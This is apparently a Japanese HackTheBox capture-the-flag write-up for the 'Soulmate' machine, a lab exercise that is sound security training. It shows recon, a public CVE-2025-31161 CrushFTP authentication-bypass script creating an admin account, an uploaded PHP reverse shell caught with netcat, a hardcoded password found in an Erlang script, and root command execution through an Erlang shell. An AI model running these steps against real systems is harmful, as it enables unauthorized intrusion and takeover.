🙆‍♀️

[HackTheBox] Soulmate-writeup

に公開

machine info

  • linux
  • easy

recon

nmapによるポートスキャンを行います。

┌──(notthei㉿kali)-[~]
└─$ nmap -sCV -T4 10.10.11.86
Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-12 13:04 JST
Nmap scan report for soulmate.htb (10.10.11.86)
Host is up (0.32s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_  256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
|_http-title: Soulmate - Find Your Perfect Match
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 37.79 seconds

httpのwebサイトにアクセスするとsoulmate.htbにリダイレクトされるのでetc/hostsに追加します。

enum

サブドメインを列挙します

┌──(notthei㉿kali)-[~]
└─$ ffuf -u 'http://soulmate.htb/' -H 'Host: FUZZ.soulmate.htb' -w /usr/share/wordlists/subdmains.txt -fw 4 

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://soulmate.htb/
 :: Wordlist         : FUZZ: /usr/share/wordlists/subdmains.txt
 :: Header           : Host: FUZZ.soulmate.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response words: 4
________________________________________________

ftp                     [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 530ms]

ftpが見つかり、これも/etc/hostsに追加します。

CrushFTP

http://ftp.soulmate.htbにアクセスすると、CrushFTPというサイトでした。
脆弱性情報を調べると認証バイパスが可能で
CVE-2025-31161を発見しました。

https://jp.tenable.com/plugins/nessus/233965

https://github.com/Immersive-Labs-Sec/CVE-2025-31161

┌──(notthei㉿kali)-[~/HTB/Soulmate]
└─$ python cve-2025-31161.py --target_host ftp.soulmate.htb --port 80 --target_user admin --new_user notthei2 --password 114514  
[+] Preparing Payloads
  [-] Warming up the target
  [-] Target is up and running
[+] Sending Account Create Request
  [!] User created successfully
[+] Exploit Complete you can now login with
   [*] Username: notthei2
   [*] Password: 114514.

adminとしてログインすることができました。

image.png

ここではアップロードされたファイルやユーザ情報を管理することができるのでユーザのパスワードも書き換えることができます。

image.png

benというユーザのパスワードを変更しログインすると、webページのプログラムが格納されていました。

image.png

RCEしたいのでphpをアップロードします。

http://soulmate.htb/exp.phpにアクセスしたらRCEが取れました。

┌──(notthei㉿kali)-[~]
└─$ nc -lvnp 9999
listening on [any] 9999 ...
connect to [10.10.16.9] from (UNKNOWN) [10.10.11.86] 42552
Linux soulmate 5.15.0-153-generic #163-Ubuntu SMP Thu Aug 7 16:37:18 UTC 2025 x86_64 x86_64 x86_64 GNU/Linux
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ whoami
www-data
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ python3 -c "import pty;pty.spawn('/bin/bash')"

user

ここでbenのパスワードを見つけたいです。

linpeasを投下したらrootで/usr/local/lib/erlang_login/start.escriptを実行していたことがわかり、benのパスワードが書かれていました。

www-data@soulmate:/usr/local/lib/erlang_login$ cat start.escript
cat start.escript
#!/usr/bin/env escript
%%! -sname ssh_runner

main(_) ->
    application:start(asn1),
    application:start(crypto),
    application:start(public_key),
    application:start(ssh),

    io:format("Starting SSH daemon with logging...~n"),

    case ssh:daemon(2222, [
        {ip, {127,0,0,1}},
        {system_dir, "/etc/ssh"},

        {user_dir_fun, fun(User) ->
            Dir = filename:join("/home", User),
            io:format("Resolving user_dir for ~p: ~s/.ssh~n", [User, Dir]),
            filename:join(Dir, ".ssh")
        end},

        {connectfun, fun(User, PeerAddr, Method) ->
            io:format("Auth success for user: ~p from ~p via ~p~n",
                      [User, PeerAddr, Method]),
            true
        end},

        {failfun, fun(User, PeerAddr, Reason) ->
            io:format("Auth failed for user: ~p from ~p, reason: ~p~n",
                      [User, PeerAddr, Reason]),
            true
        end},

        {auth_methods, "publickey,password"},

        {user_passwords, [{"ben", "HouseH0ldings998"}]},
        {idle_time, infinity},
        {max_channels, 10},
        {max_sessions, 10},
        {parallel_login, true}
    ]) of
        {ok, _Pid} ->
            io:format("SSH daemon running on port 2222. Press Ctrl+C to exit.~n");
        {error, Reason} ->
            io:format("Failed to start SSH daemon: ~p~n", [Reason])
    end,

    receive
        stop -> ok
    end.

sshでログインできました。

┌──(notthei㉿kali)-[~]
└─$ ssh ben@soulmate.htb 
ben@soulmate.htb's password: 
Last login: Fri Sep 12 04:23:49 2025 from 10.10.16.9
ben@soulmate:~$ whoami
ben
ben@soulmate:~$ cat user.txt

root

さっきのescriptはErlangでSSHサーバ(SSH daemon)を起動するプログラムで、2222番ポートで開いているので接続します。

ben@soulmate:~$ ss -tuln
Netid    State     Recv-Q    Send-Q        Local Address:Port          Peer Address:Port    Process    
udp      UNCONN    0         0             127.0.0.53%lo:53                 0.0.0.0:*                  
tcp      LISTEN    0         4096                0.0.0.0:4369               0.0.0.0:*                  
tcp      LISTEN    0         4096              127.0.0.1:8080               0.0.0.0:*                  
tcp      LISTEN    0         511                 0.0.0.0:80                 0.0.0.0:*                  
tcp      LISTEN    0         128                 0.0.0.0:22                 0.0.0.0:*                  
tcp      LISTEN    0         4096          127.0.0.53%lo:53                 0.0.0.0:*                  
tcp      LISTEN    0         128               127.0.0.1:44745              0.0.0.0:*                  
tcp      LISTEN    0         4096              127.0.0.1:9090               0.0.0.0:*                  
tcp      LISTEN    0         4096              127.0.0.1:43531              0.0.0.0:*                  
tcp      LISTEN    0         5                 127.0.0.1:2222               0.0.0.0:*                  
tcp      LISTEN    0         4096              127.0.0.1:8443               0.0.0.0:*                  
tcp      LISTEN    0         4096                   [::]:4369                  [::]:*                  
tcp      LISTEN    0         511                    [::]:80                    [::]:*                  
tcp      LISTEN    0         128                    [::]:22                    [::]:*       

benのパスワードで接続できました。

ben@soulmate:~$ ssh 127.0.0.1 -p 2222
The authenticity of host '[127.0.0.1]:2222 ([127.0.0.1]:2222)' can't be established.
ED25519 key fingerprint is SHA256:TgNhCKF6jUX7MG8TC01/MUj/+u0EBasUVsdSQMHdyfY.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '[127.0.0.1]:2222' (ED25519) to the list of known hosts.
ben@127.0.0.1's password: 
Eshell V15.2.5 (press Ctrl+G to abort, type help(). for help)
(ssh_runner@soulmate)1> 

help().でコマンドのヘルプを出力できます。

root.txtが取れました。

(ssh_runner@soulmate)3> os:cmd("cat /root/root.txt").

Discussion